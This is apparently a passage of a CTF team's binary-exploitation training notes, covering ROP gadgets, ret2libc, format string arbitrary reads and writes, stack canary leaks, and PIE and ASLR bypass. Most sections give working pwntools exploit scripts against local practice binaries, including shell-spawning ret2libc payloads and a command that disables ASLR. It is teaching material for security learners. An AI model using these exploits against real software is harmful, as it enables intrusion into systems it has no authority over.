movabs rdi, 0xdeadbeefc0ded00d\ncall sym.vuln\n
movabs
can be used to encode the mov
instruction for 64-bit instructions - treat it as if it's a mov
.
Controlling execution with snippets of code
Gadgets are small snippets of code followed by a ret
instruction, e.g. pop rdi; ret
. We can manipulate the ret
of these gadgets in such a way as to string together a large chain of them to do what we want.
Let's for a minute pretend the stack looks like this during the execution of a pop rdi; ret
gadget.
What happens is fairly obvious - 0x10
gets popped into rdi
as it is at the top of the stack during the pop rdi
. Once the pop
occurs, rsp
moves:
And since ret
is equivalent to pop rip
, 0x5655576724
gets moved into rip
. Note how the stack is laid out for this.
When we overwrite the return pointer, we overwrite the value pointed at by rsp
. Once that value is popped, it points to the next value at the stack - but wait. We can overwrite the next value in the stack.
Let's say that we want to exploit a binary to jump to a pop rdi; ret
gadget, pop 0x100
into rdi
then jump to flag()
. Let's step-by-step the execution.
On the original ret
, which we overwrite the return pointer for, we pop the gadget address in. Now rip
moves to point to the gadget, and rsp
moves to the next memory address.
rsp
moves to the 0x100
; rip
to the pop rdi
. Now when we pop, 0x100
gets moved into rdi
.
RSP moves to the next item on the stack, the address of the flag()
. The ret
is executed and flag()
is called.
Essentially, if the gadget pops values from the stack, simply place those values afterward (including the pop rip
in ret
). If we want to pop 0x10
into rdi
and then jump to 0x16
, our payload would look like this:
Note if you have multiple pop
instructions, you can just add more values.
We use rdi
as an example because, if you remember, that's the register for the first parameter in 64-bit. This means control of this register using this gadget is important.
We can use the tool ROPgadget
to find possible gadgets.
$ ROPgadget --binary vuln-64\n\nGadgets information\n============================================================\n0x0000000000401069 : add ah, dh ; nop dword ptr [rax + rax] ; ret\n0x000000000040109b : add bh, bh ; loopne 0x40110a ; nop ; ret\n0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401024\n[...]\n
Combine it with grep
to look for specific registers.
$ ROPgadget --binary vuln-64 | grep rdi\n\n0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax\n0x00000000004011db : pop rdi ; ret\n
"},{"location":"Training/Material/pwn-stack-2/#exploiting-calling-conventions","title":"Exploiting Calling Conventions","text":"Utilizing Calling Conventions
exploiting_with_params
"},{"location":"Training/Material/pwn-stack-2/#32-bit_1","title":"32-bit","text":"The program expects the stack to be laid out like this before executing the function:
So why don't we provide it like that? As well as the function, we also pass the return address and the parameters.
Everything after the address of flag()
will be part of the stack frame for the next function as it is expected to be there - just instead of using push
instructions we just overwrote them manually.
from pwn import *\n\np = process('./vuln-32')\n\npayload = b'A' * 52 # Padding up to EIP\npayload += p32(0x080491c7) # Address of flag()\npayload += p32(0x0) # Return address - don't care if crashes when done\npayload += p32(0xdeadc0de) # First parameter\npayload += p32(0xc0ded00d) # Second parameter\n\nlog.info(p.clean())\np.sendline(payload)\nlog.info(p.clean())\n
"},{"location":"Training/Material/pwn-stack-2/#64-bit_1","title":"64-bit","text":"Same logic, except we have to utilize the gadgets we talked about previously to fill the required registers (in this case rdi
and rsi
as we have two parameters).
We have to fill the registers before the function is called
from pwn import *\n\np = process('./vuln-64')\n\nPOP_RDI, POP_RSI_R15 = 0x4011fb, 0x4011f9\n\n\npayload = b'A' * 56 # Padding\npayload += p64(POP_RDI) # pop rdi; ret\npayload += p64(0xdeadc0de) # value into rdi -> first param\npayload += p64(POP_RSI_R15) # pop rsi; pop r15; ret\npayload += p64(0xc0ded00d) # value into rsi -> first param\npayload += p64(0x0) # value into r15 -> not important\npayload += p64(0x40116f) # Address of flag()\npayload += p64(0x0)\n\nlog.info(p.clean())\np.sendline(payload)\nlog.info(p.clean())\n
"},{"location":"Training/Material/pwn-stack-2/#ret2libc","title":"ret2libc","text":"The standard ROP exploit
A ret2libc is based on the system
function found within the C library. This function executes anything passed to it making it the best target. Another thing found within libc is the string /bin/sh
; if you pass this string to the system
, it will pop a shell.
And that is the entire basis of it - passing /bin/sh
as a parameter to the system
. Doesn't sound too bad, right?
ret2libc
"},{"location":"Training/Material/pwn-stack-2/#disabling-aslr","title":"Disabling ASLR","text":"To start with, we are going to disable ASLR. ASLR randomizes the location of libc in memory, meaning we cannot (without other steps) work out the location of the system
and /bin/sh
. To understand the general theory, we will start with it disabled.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n
"},{"location":"Training/Material/pwn-stack-2/#manual-exploitation","title":"Manual Exploitation","text":""},{"location":"Training/Material/pwn-stack-2/#getting-libc-and-its-base","title":"Getting Libc and its base","text":"Fortunately, Linux has a command called ldd
for dynamic linking. If we run it on our compiled ELF file, it'll tell us the libraries it uses and their base addresses.
$ ldd vuln-32 \n linux-gate.so.1 (0xf7fd2000)\n libc.so.6 => /lib32/libc.so.6 (0xf7dc2000)\n /lib/ld-linux.so.2 (0xf7fd3000)\n
We need libc.so.6
, so the base address of libc is 0xf7dc2000
.
Libc base and the system and /bin/sh offsets may be different for you. This isn't a problem - it just means you have a different libc version. Make sure you use your values.
"},{"location":"Training/Material/pwn-stack-2/#getting-the-location-of-the-system","title":"Getting the location of the system()","text":"To call the system, we obviously need its location in memory. We can use the readelf
command for this.
$ readelf -s /lib32/libc.so.6 | grep system\n\n1534: 00044f00 55 FUNC WEAK DEFAULT 14 system@@GLIBC_2.0\n
The -s
flag tells readelf
to search for symbols, for example, functions. Here we can find the offset of the system from the libc base is 0x44f00
.
Since /bin/sh
is just a string, we can use strings
on the dynamic library we just found with ldd
. Note that when passing strings as parameters you need to pass a pointer to the string, not the hex representation of the string, because that's how C expects it.
$ strings -a -t x /lib32/libc.so.6 | grep /bin/sh\n18c32b /bin/sh\n
-a
tells it to scan the entire file; -t x
tells it to output the offset in hex.
from pwn import *\n\np = process('./vuln-32')\n\nlibc_base = 0xf7dc2000\nsystem = libc_base + 0x44f00\nbinsh = libc_base + 0x18c32b\n\npayload = b'A' * 76 # The padding\npayload += p32(system) # Location of system\npayload += p32(0x0) # return pointer - not important once we get the shell\npayload += p32(binsh) # pointer to command: /bin/sh\n\np.clean()\np.sendline(payload)\np.interactive()\n
"},{"location":"Training/Material/pwn-stack-2/#64-bit-exploit","title":"64-bit Exploit","text":"Repeat the process with the libc
linked to the 64-bit exploit (should be called something like /lib/x86_64-linux-gnu/libc.so.6
).
Note that instead of passing the parameter in after the return pointer, you will have to use a pop rdi; ret
gadget to put it into the RDI register.
$ ROPgadget --binary vuln-64 | grep rdi\n\n[...]\n0x00000000004011cb : pop rdi ; ret\n
from pwn import *\n\np = process('./vuln-64')\n\nlibc_base = 0x7ffff7de5000\nsystem = libc_base + 0x48e20\nbinsh = libc_base + 0x18a143\n\nPOP_RDI = 0x4011cb\n\npayload = b'A' * 72 # The padding\npayload += p64(POP_RDI) # gadget -> pop rdi; ret\npayload += p64(binsh) # pointer to command: /bin/sh\npayload += p64(system) # Location of system\npayload += p64(0x0) # return pointer - not important once we get the shell\n\np.clean()\np.sendline(payload)\np.interactive()\n
"},{"location":"Training/Material/pwn-stack-2/#automating-with-pwntools","title":"Automating with Pwntools","text":"Unsurprisingly, pwntools has a bunch of features that make this much simpler.
# 32-bit\nfrom pwn import *\n\nelf = context.binary = ELF('./vuln-32')\np = process()\n\nlibc = elf.libc # Simply grab the libc it's running with\nlibc.address = 0xf7dc2000 # Set base address\n\nsystem = libc.sym['system'] # Grab location of system\nbinsh = next(libc.search(b'/bin/sh')) # grab string location\n\npayload = b'A' * 76 # The padding\npayload += p32(system) # Location of system\npayload += p32(0x0) # return pointer - not important once we get the shell\npayload += p32(binsh) # pointer to command: /bin/sh\n\np.clean()\np.sendline(payload)\np.interactive()\n
The 64-bit looks essentially the same.
Pwntools can simplify it even more with its ROP capabilities, but I won't showcase them here.
"},{"location":"Training/Material/pwn-stack-2/#format-string-bug","title":"Format String Bug","text":"Reading memory off the stack
Format String is a dangerous bug that is easily exploitable. If manipulated correctly, you can leverage it to perform powerful actions such as reading from and writing to arbitrary memory locations.
"},{"location":"Training/Material/pwn-stack-2/#why-it-exists","title":"Why it exists","text":"In C, certain functions can take \"format specifier\" within strings. Let's look at an example:
int value = 1205;\n\nprintf(\"Decimal: %d\\nFloat: %f\\nHex: 0x%x\", value, (double) value, value);\n
This prints out:
Decimal: 1205\nFloat: 1205.000000\nHex: 0x4b5\n
So, it replaced %d
with the value, %f
with the float value and %x
with the hex representation.
This is a nice way in C of formatting strings (string concatenation is quite complicated in C). Let's try print out the same value in hex 3 times:
int value = 1205;\n\nprintf(\"%x %x %x\", value, value, value);\n
As expected, we get
4b5 4b5 4b5\n
What happens, however, if we don't have enough arguments for all the format specifiers?
int value = 1205;\n\nprintf(\"%x %x %x\", value);\n
4b5 5659b000 565981b0\n
Erm... what happened here?
The key here is that printf
expects as many parameters as format string specifiers, and in 32-bit it grabs these parameters from the stack. If there aren't enough parameters on the stack, it'll just grab the next values - essentially leaking values off the stack. And that's what makes it so dangerous.
Surely if it's a bug in the code, the attacker can't do much, right? Well, the real issue is when C code takes user-provided input and prints it out using printf
.
fmtstr_arb_read
#include <stdio.h>\n\nint main(void) {\n char buffer[30];\n\n gets(buffer);\n\n printf(buffer);\n return 0;\n}\n
If we run this normally, it works as expected:
$ ./test \n\nyes\nyes\n
But what happens if we input a format string specifier, such as %x
?
$ ./test\n\n%x %x %x %x %x\nf7f74080 0 5657b1c0 782573fc 20782520\n
It reads values off the stack and returns them as the developer wasn't expecting so many format string specifiers.
"},{"location":"Training/Material/pwn-stack-2/#choosing-offsets","title":"Choosing Offsets","text":"To print the same value 3 times, using
printf(\"%x %x %x\", value, value, value);\n
Gets tedious - so, there is a better way in C.
printf(\"%1$x %1$x %1$x\", value);\n
The 1$
between tells printf to use the first parameter. However, this also means that attackers can read values an arbitrary offset from the top of the stack - say we know there is a canary at the 6th %p
- instead of sending %p %p %p %p %p %p
, we can just do %6$p
. This allows us to be much more efficient.
In C, when you want to use a string you use a pointer to the start of the string - this is essentially a value that represents a memory address. So when you use the %s
format specifier, it's the pointer that gets passed to it. That means instead of reading a value of the stack, you read the value in the memory address it points at.
Now this is all very interesting - if you can find a value on the stack that happens to correspond to where you want to read, that is. But what if we could specify where we want to read? Well... we can.
Let's look back at the previous program and its output:
$ ./test\n\n%x %x %x %x %x %x\nf7f74080 0 5657b1c0 782573fc 20782520 25207825\n
You may notice that the last two values contain the hex values of %x
. That's because we're reading the buffer. Here it's at the 4th offset - if we can write an address and then point %s
at it, we can get an arbitrary write!
$ ./vuln \n\nABCD|%6$p\nABCD|0x44434241\n
%p
is a pointer; generally, it returns the same as %x
just precedes it with a 0x
which makes it stand out more
As we can see, we're reading the value we inputted. Let's write a quick pwntools script that writes the location of the ELF file and reads it with %s
- if all goes well, it should read the first bytes of the file, which is always \\x7fELF
. Start with the basics:
from pwn import *\n\np = process('./vuln')\n\npayload = p32(0x41424344)\npayload += b'|%6$p'\n\np.sendline(payload)\nlog.info(p.clean())\n
$ python3 exploit.py\n\n[+] Starting local process './vuln': pid 3204\n[*] b'DCBA|0x41424344'\n
Nice it works. The base address of the binary is 0x8048000
, so let's replace the 0x41424344
with that and read it with %s
:
from pwn import *\n\np = process('./vuln')\n\npayload = p32(0x8048000)\npayload += b'|%6$s'\n\np.sendline(payload)\nlog.info(p.clean())\n
It doesn't work.
The reason it doesn't work is that printf
stops at null bytes, and the very first character is a null byte. We have to put the format specifier first.
from pwn import *\n\np = process('./vuln')\n\npayload = b'%8$p||||'\npayload += p32(0x8048000)\n\np.sendline(payload)\nlog.info(p.clean())\n
Let's break down the payload:
|
because we want the address we write to fill one memory address, not half of one and half another, because that will result in reading the wrong address%8$p
because the start of the buffer is generally at %6$p
. However, memory addresses are 4 bytes long each and we already have 8 bytes, so it's two memory addresses further along at %8$p
. $ python3 exploit.py\n\n[+] Starting local process './vuln': pid 3255\n[*] b'0x8048000||||'\n
It still stops at the null byte, but that's not important because we get the output; the address is still written to memory, just not printed back.
Now let's replace the p
with an s
.
$ python3 exploit.py\n\n[+] Starting local process './vuln': pid 3326\n[*] b'\\x7fELF\\x01\\x01\\x01||||'\n
Of course, %s
will also stop at a null byte as strings in C are terminated with them. We have worked out, however, that the first bytes of an ELF file up to a null byte is \\x7fELF\\x01\\x01\\x01
.
Luckily C contains a rarely-used format specifier %n
. This specifier takes in a pointer (memory address) and writes there the number of characters written so far. If we can control the input, we can control how many characters are written and also where we write them.
Obviously, there is a small flaw - to write, say, 0x8048000
to a memory address, we would have to write that many characters - and generally buffers aren't quite that big. Luckily there are other format string specifiers for that. I fully recommend you watch this video to completely understand it, but let's jump into a basic binary.
fmtstr_arb_write
#include <stdio.h>\n\nint auth = 0;\n\nint main() {\n char password[100];\n\n puts(\"Password: \");\n fgets(password, sizeof password, stdin);\n\n printf(password);\n printf(\"Auth is %i\\n\", auth);\n\n if(auth == 10) {\n puts(\"Authenticated!\");\n }\n}\n
Simple - we need to overwrite the variable auth
with the value 10. Format string vulnerability is obvious, but there's also no buffer overflow due to a secure fgets
.
As it's a global variable, it's within the binary itself. We can check the location using readelf
to check for symbols.
$ readelf -s auth | grep auth\n 34: 00000000 0 FILE LOCAL DEFAULT ABS auth.c\n 57: 0804c028 4 OBJECT GLOBAL DEFAULT 24 auth\n
The location of auth
is 0x0804c028
.
We're lucky there are no null bytes, so there's no need to change the order.
$ ./auth \n\nPassword: \n%p %p %p %p %p %p %p %p %p\n0x64 0xf7f9f580 0x8049199 (nil) 0x1 0xf7ff5980 0x25207025 0x70252070 0x20702520\n
Buffer is the 7th %p
.
from pwn import *\n\nAUTH = 0x804c028\n\np = process('./auth')\n\npayload = p32(AUTH)\npayload += b'|' * 6 # We need to write the value 10, AUTH is 4 bytes, so we need 6 more for %n\npayload += b'%7$n'\n\n\nprint(p.clean().decode('latin-1'))\np.sendline(payload)\nprint(p.clean().decode('latin-1'))\n
And easy peasy:
[+] Starting local process './auth': pid 4045\nPassword: \n\n[*] Process './auth' stopped with exit code 0 (pid 4045)\n(\u00c0\\x04||||||\nAuth is 10\nAuthenticated!\n
"},{"location":"Training/Material/pwn-stack-2/#pwntools","title":"Pwntools","text":"As you can expect, pwntools has a handy feature for automating %n
format string exploits:
payload = fmtstr_payload(offset, {location : value})\n
The offset
in this case is 7
because the 7th %p
read the buffer; the location is where you want to write it and the value is what. Note that you can add as many location-value pairs into the dictionary as you want.
payload = fmtstr_payload(7, {AUTH : 10})\n
You can also grab the location of the auth
symbol with pwntools:
elf = ELF('./auth')\nAUTH = elf.sym['auth']\n
Check out the pwntools tutorials for more cool features
"},{"location":"Training/Material/pwn-stack-3/","title":"Binary Exploitation - Stack","text":"https://ir0nstone.gitbook.io/notes/
"},{"location":"Training/Material/pwn-stack-3/#stack-canaries","title":"Stack Canaries","text":"The Buffer Overflow defense
Stack Canaries are very simple - at the beginning of the function, a random value is placed on the stack. Before the program executes ret
, the current value of that variable is compared to the initial: if they are the same, no buffer overflow has occurred.
If they are not, the attacker attempted to overflow to control the return pointer, and the program crashes, often with a ***stack smashing detected***
error message.
On Linux, stack canaries end in 00
. This is so that they null-terminate any strings in case you make a mistake when using print functions, but it also makes them much easier to spot.
There are two ways to bypass a canary.
"},{"location":"Training/Material/pwn-stack-3/#leaking-it","title":"Leaking it","text":"This is quite broad and will differ from binary to binary, but the main aim is to read the value. The simplest option is using format string if it is present - the canary, like other local variables, is on the stack, so if we can leak values off the stack it's easy.
"},{"location":"Training/Material/pwn-stack-3/#source","title":"Source","text":"#include <stdio.h>\n\nvoid vuln() {\n char buffer[64];\n\n puts(\"Leak me\");\n gets(buffer);\n\n printf(buffer);\n puts(\"\");\n\n puts(\"Overflow me\");\n gets(buffer);\n}\n\nint main() {\n vuln();\n}\n\nvoid win() {\n puts(\"You won!\");\n}\n
The source is very simple - it gives you a format string vulnerability, then a buffer overflow vulnerability. The format string we can use to leak the canary value, then we can use that value to overwrite the canary with itself. This way, we can overflow past the canary but not trigger the check as its value remains constant. And of course, we just have to run win()
.
canary-32
First, let's check if there is a canary:
$ pwn checksec vuln-32 \n[*] 'vuln-32'\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: Canary found\n NX: NX enabled\n PIE: No PIE (0x8048000)\n
Yup, there is. Now we need to calculate at what offset the canary is at and to do this we'll use radare2.
$ r2 -d -A vuln-32\n\n[0xf7f2e0b0]> db 0x080491d7\n[0xf7f2e0b0]> dc\nLeak me\n%p\nhit breakpoint at: 80491d7\n[0x080491d7]> pxw @ esp\n0xffd7cd60 0xffd7cd7c 0xffd7cdec 0x00000002 0x0804919e |...............\n0xffd7cd70 0x08048034 0x00000000 0xf7f57000 0x00007025 4........p..%p..\n0xffd7cd80 0x00000000 0x00000000 0x08048034 0xf7f02a28 ........4...(*..\n0xffd7cd90 0xf7f01000 0xf7f3e080 0x00000000 0xf7d53ade .............:..\n0xffd7cda0 0xf7f013fc 0xffffffff 0x00000000 0x080492cb ................\n0xffd7cdb0 0x00000001 0xffd7ce84 0xffd7ce8c 0xadc70e00 ................\n
The last value there is the canary. We can tell because it's roughly 64 bytes after the \"buffer start\", which should be close to the end of the buffer. Additionally, it ends in 00
and looks very random, unlike the libc and stack addresses that start with f7
and ff
. If we count the number of addresses it's around 24 until that value, so we go one before and one after as well to make sure.
$./vuln-32\n\nLeak me\n%23$p %24$p %25$p\n0xa4a50300 0xf7fae080 (nil)\n
It appears to be at %23$p
. Remember, stack canaries are randomized for each new process, so it won't be the same.
Now let's just automate grabbing the canary with pwntools:
from pwn import *\n\np = process('./vuln-32')\n\nlog.info(p.clean())\np.sendline('%23$p')\n\ncanary = int(p.recvline(), 16)\nlog.success(f'Canary: {hex(canary)}')\n
$ python3 exploit.py \n[+] Starting local process './vuln-32': pid 14019\n[*] b'Leak me\\n'\n[+] Canary: 0xcc987300\n
Now all that's left is to work out what the offset is until the canary, and then the offset from after the canary to the return pointer.
$ r2 -d -A vuln-32\n[0xf7fbb0b0]> db 0x080491d7\n[0xf7fbb0b0]> dc\nLeak me\n%23$p\nhit breakpoint at: 80491d7\n[0x080491d7]> pxw @ esp\n[...]\n0xffea8af0 0x00000001 0xffea8bc4 0xffea8bcc 0xe1f91c00\n
We see the canary is at 0xffea8afc
. A little later on the return pointer (we assume) is at 0xffea8b0c
. Let's break just after the next gets()
and check what value we overwrite it with (we'll use a De Bruijn pattern).
[0x080491d7]> db 0x0804920f\n[0x080491d7]> dc\n0xe1f91c00\nOverflow me\nAAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA\nhit breakpoint at: 804920f\n[0x0804920f]> pxw @ 0xffea8afc\n0xffea8afc 0x41574141 0x41415841 0x5a414159 0x41614141 AAWAAXAAYAAZAAaA\n0xffea8b0c 0x41416241 0x64414163 0x41654141 0x41416641 AbAAcAAdAAeAAfAA\n
Now we can check the canary and EIP offsets:
[0x0804920f]> wopO 0x41574141\n64\n[0x0804920f]> wopO 0x41416241\n80\n
The returned pointer is 16 bytes after the canary start, so 12 bytes after the canary.
from pwn import *\n\np = process('./vuln-32')\n\nlog.info(p.clean())\np.sendline('%23$p')\n\ncanary = int(p.recvline(), 16)\nlog.success(f'Canary: {hex(canary)}')\n\npayload = b'A' * 64\npayload += p32(canary) # overwrite canary with original value to not trigger\npayload += b'A' * 12 # pad to return pointer\npayload += p32(0x08049245)\n\np.clean()\np.sendline(payload)\n\nprint(p.clean().decode('latin-1'))\n
"},{"location":"Training/Material/pwn-stack-3/#64-bit","title":"64-bit","text":"Same source, same approach, just 64-bit. Try it yourself before checking the solution.
Remember, in 64-bit format string goes to the relevant registers first and the addresses can fit 8 bytes each so the offset may be different.
canary-64
"},{"location":"Training/Material/pwn-stack-3/#bruteforcing-the-canary","title":"Bruteforcing the Canary","text":"This is possible on 32-bit, and sometimes unavoidable. It's not, however, feasible on 64-bit.
As you can expect, the general idea is to run the process loads and load of times with random canary values until you get a hit, which you can differentiate by the presence of a known plaintext, e.g. flag{
and this can take ages to run and is frankly not a particularly interesting challenge.
Position Independent Code
"},{"location":"Training/Material/pwn-stack-3/#overview","title":"Overview","text":"PIE stands for Position Independent Executable, which means that every time you run the file it gets loaded into a different memory address. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are.
"},{"location":"Training/Material/pwn-stack-3/#analysis","title":"Analysis","text":"Luckily, this does not mean it's impossible to exploit. PIE executables are based on relative rather than absolute addresses, meaning that while the locations in memory are fairly random the offsets between different parts of the binary remain constant. For example, if you know that the function main
is located 0x128
bytes in memory after the base address of the binary, and you somehow find the location of main
, you can simply subtract 0x128
from this to get the base address and from the addresses of everything else.
So, all we need to do is find a single address and PIE is bypassed. Where could we leak this address from?
The stack of course!
We know that the return pointer is located on the stack - and much like a canary, we can use format string (or other ways) to read the value of the stack. The value will always be a static offset away from the binary base, enabling us to completely bypass PIE!
"},{"location":"Training/Material/pwn-stack-3/#double-checking","title":"Double-Checking","text":"Due to the way PIE randomization works, the base address of a PIE executable will always end in the hexadecimal characters 000
. This is because pages are the things being randomized in memory, which have a standard size of 0x1000
. Operating Systems keep track of page tables that point to each section of memory and define the permissions for each section, similar to segmentation.
Checking the base address ends in 000
should probably be the first thing you do if your exploit is not working as you expected.
As shown in the pwntools ELF tutorial, pwntools has a host of functionality that allows you to really make your exploit dynamic. Simply setting elf.address
will automatically update all the function and symbols addresses for you, meaning you don't have to worry about using readelf
or other command line tools, but instead can receive it all dynamically.
Not to mention that the ROP capabilities are incredibly powerful as well.
"},{"location":"Training/Material/pwn-stack-3/#pie-bypass-with-given-leak","title":"PIE Bypass with Given Leak","text":"Exploiting PIE with a given leak
"},{"location":"Training/Material/pwn-stack-3/#the-source","title":"The Source","text":"pie-32
#include <stdio.h>\n\nint main() {\n vuln();\n\n return 0;\n}\n\nvoid vuln() {\n char buffer[20];\n\n printf(\"Main Function is at: %lx\\n\", main);\n\n gets(buffer);\n}\n\nvoid win() {\n puts(\"PIE bypassed! Great job :D\");\n}\n
Pretty simple - we print the address of the main
, which we can read and calculate the base address from. Then, using this, we can calculate the address of win()
itself.
Let's just run the script to make sure it's the right one :D
$ ./vuln-32 \nMain Function is at: 0x5655d1b9\n
Yup, and as we expected, it prints the location of the main
.
First, let's set up the script. We create an ELF
object, which becomes very useful later on, and start the process.
from pwn import *\n\nelf = context.binary = ELF('./vuln-32')\np = process()\n
Now we want to take in the main
function location. To do this we can simply receive up until it (and do nothing with that) and then read it.
p.recvuntil('at: ')\nmain = int(p.recvline(), 16)\n
Since we received the entire line except for the address, only the address will come up with p.recvline()
.
Now we'll use the ELF
object we created earlier and set its base address. The sym
dictionary returns the offsets of the functions from the binary base until the base address is set, after which it returns the absolute address in memory.
elf.address = main - elf.sym['main']\n
In this case, elf.sym['main']
will return 0x11b9
; if we ran it again, it would return 0x11b9
+ the base address. So, essentially, we're subtracting the offset of the main
from the address we leaked to get the base of the binary.
Now we know the base we can just call win()
.
payload = b'A' * 32\npayload += p32(elf.sym['win'])\n\np.sendline(payload)\n\nprint(p.clean().decode('latin-1'))\n
By this point, I assume you know how to find the padding length and other stuff we've been mentioning for a while, so I won't be showing you every step of that.
And does it work?
[*] 'vuln-32'\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: PIE enabled\n[+] Starting local process 'vuln-32': pid 4617\nPIE bypassed! Great job :D\n
Awesome!
"},{"location":"Training/Material/pwn-stack-3/#final-exploit","title":"Final Exploit","text":"from pwn import *\n\nelf = context.binary = ELF('./vuln-32')\np = process()\n\np.recvuntil('at: ')\nmain = int(p.recvline(), 16)\n\nelf.address = main - elf.sym['main']\n\npayload = b'A' * 32\npayload += p32(elf.sym['win'])\n\np.sendline(payload)\n\nprint(p.clean().decode('latin-1'))\n
"},{"location":"Training/Material/pwn-stack-3/#summary","title":"Summary","text":"From the leaked address of the main
, we were able to calculate the base address of the binary. From this, we could then calculate the address of the win
and call it.
And one thing I would like to point out is how simple this exploit is. Look - it's 10 lines of code, at least half of which is scaffolding and setup.
"},{"location":"Training/Material/pwn-stack-3/#64-bit_1","title":"64-bit","text":"Try this for yourself first, then feel free to check the solution. Same source, same challenge.
pie-64
"},{"location":"Training/Material/pwn-stack-3/#pie-bypass","title":"PIE Bypass","text":"Using format string
"},{"location":"Training/Material/pwn-stack-3/#the-source_1","title":"The Source","text":"pie-fmtstr
#include <stdio.h>\n\nvoid vuln() {\n char buffer[20];\n\n printf(\"What's your name?\\n\");\n gets(buffer);\n\n printf(\"Nice to meet you \");\n printf(buffer);\n printf(\"\\n\");\n\n puts(\"What's your message?\");\n\n gets(buffer);\n}\n\nint main() {\n vuln();\n\n return 0;\n}\n\nvoid win() {\n puts(\"PIE bypassed! Great job :D\");\n}\n
Unlike last time, we don't get given a function. We'll have to leak it with format strings.
"},{"location":"Training/Material/pwn-stack-3/#analysis_2","title":"Analysis","text":"$ ./vuln-32 \n\nWhat's your name?\n%p\nNice to meet you 0xf7f6d080\nWhat's your message?\nhello\n
Everything's as we expect.
"},{"location":"Training/Material/pwn-stack-3/#exploitation_2","title":"Exploitation","text":""},{"location":"Training/Material/pwn-stack-3/#setup","title":"Setup","text":"As last time, first, we set everything up.
from pwn import *\n\nelf = context.binary = ELF('./vuln-32')\np = process()\n
"},{"location":"Training/Material/pwn-stack-3/#pie-leak","title":"PIE Leak","text":"Now we just need a leak. Let's try a few offsets.
$ ./vuln-32 \nWhat's your name?\n%p %p %p %p %p\nNice to meet you 0xf7eee080 (nil) 0x565d31d5 0xf7eb13fc 0x1\n
3rd one looks like a binary address, let's check the difference between the 3rd leak and the base address in radare2. Set a breakpoint somewhere after the format string leak (doesn't really matter where).
$ r2 -d -A vuln-32 \n\nProcess with PID 5548 started...\n= attach 5548 5548\nbin.baddr 0x565ef000\n0x565f01c9]> db 0x565f0234\n[0x565f01c9]> dc\nWhat's your name?\n%3$p\nNice to meet you 0x565f01d5\n
We can see the base address is 0x565ef000
and the leaked value is 0x565f01d5
. Therefore, subtracting 0x1d5
from the leaked address should give us the binary. Let's leak the value and get the base address.
p.recvuntil('name?\\n')\np.sendline('%3$p')\n\np.recvuntil('you ')\nelf_leak = int(p.recvline(), 16)\n\nelf.address = elf_leak - 0x11d5\nlog.success(f'PIE base: {hex(elf.address)}') # not required, but a nice check\n
Now we just need to send the exploit payload.
payload = b'A' * 32\npayload += p32(elf.sym['win'])\n\np.recvuntil('message?\\n')\np.sendline(payload)\n\nprint(p.clean().decode())\n
"},{"location":"Training/Material/pwn-stack-3/#final-exploit_1","title":"Final Exploit","text":"from pwn import *\n\nelf = context.binary = ELF('./vuln-32')\np = process()\n\np.recvuntil('name?\\n')\np.sendline('%3$p')\n\np.recvuntil('you ')\nelf_leak = int(p.recvline(), 16)\n\nelf.address = elf_leak - 0x11d5\nlog.success(f'PIE base: {hex(elf.address)}')\n\npayload = b'A' * 32\npayload += p32(elf.sym['win'])\n\np.recvuntil('message?\\n')\np.sendline(payload)\n\nprint(p.clean().decode())\n
"},{"location":"Training/Material/pwn-stack-3/#64-bit_2","title":"64-bit","text":"Same deal, just 64-bit. Try it out :)
pie-fmtstr-64
"},{"location":"Training/Material/pwn-stack-3/#aslr","title":"ASLR","text":"Address Space Layout Randomisation
"},{"location":"Training/Material/pwn-stack-3/#overview_1","title":"Overview","text":"ASLR stands for Address Space Layout Randomisation and can, in most cases, be thought of as libc
's equivalent of PIE - every time you run a binary, libc
(and other libraries) get loaded into a different memory address.
While it's tempting to think of ASLR as libc
PIE, there is a key difference.
ASLR is a kernel protection while PIE is a binary protection. The main difference is that PIE can be compiled into the binary while the presence of ASLR is completely dependent on the environment running the binary. If I sent you a binary compiled with ASLR disabled while I did it, it wouldn't make any difference at all if you had ASLR enabled.
Of course, as with PIE, this means you cannot hardcode values such as function address (e.g. system
for a ret2libc).
It's tempting to think that, as with PIE, we can simply format string for a libc address and subtract a static offset from it. Sadly, we can't quite do that.
When functions finish execution, they do not get removed from memory; instead, they just get ignored and overwritten. Chances are very high that you will grab one of these remnants with the format string. Different libc versions can act very differently during execution, so a value you just grabbed may not even exist remotely, and if it does the offset will most likely be different (different libcs have different sizes and therefore different offsets between functions). It's possible to get lucky, but you shouldn't really hope that the offsets remain the same.
Instead, a more reliable way is reading the GOT entry of a specific function.
"},{"location":"Training/Material/pwn-stack-3/#double-checking_1","title":"Double-Checking","text":"For the same reason as PIE, libc base addresses always end in the hexadecimal characters 000
.
aslr
#include <stdio.h>\n#include <stdlib.h>\n\nvoid vuln() {\n char buffer[20];\n\n printf(\"System is at: %lp\\n\", system);\n\n gets(buffer);\n}\n\nint main() {\n vuln();\n\n return 0;\n}\n\nvoid win() {\n puts(\"PIE bypassed! Great job :D\");\n}\n
Just as we did for PIE, except this time we print the address of the system.
"},{"location":"Training/Material/pwn-stack-3/#analysis_3","title":"Analysis","text":"$ ./vuln-32 \nSystem is at: 0xf7de5f00\n
Yup, does what we expected.
Your address of the system might end in different characters - you just have a different libc version
"},{"location":"Training/Material/pwn-stack-3/#exploitation_3","title":"Exploitation","text":"Much of this is as we did with PIE.
from pwn import *\n\nelf = context.binary = ELF('./vuln-32')\nlibc = elf.libc\np = process()\n
Note that we include the libc here - this is just another ELF
object that makes our lives easier.
Parse the address of the system and calculate the libc base from that (as we did with PIE):
p.recvuntil('at: ')\nsystem_leak = int(p.recvline(), 16)\n\nlibc.address = system_leak - libc.sym['system']\nlog.success(f'LIBC base: {hex(libc.address)}')\n
Now we can finally ret2libc, using the libc
ELF
object to really simplify it for us:
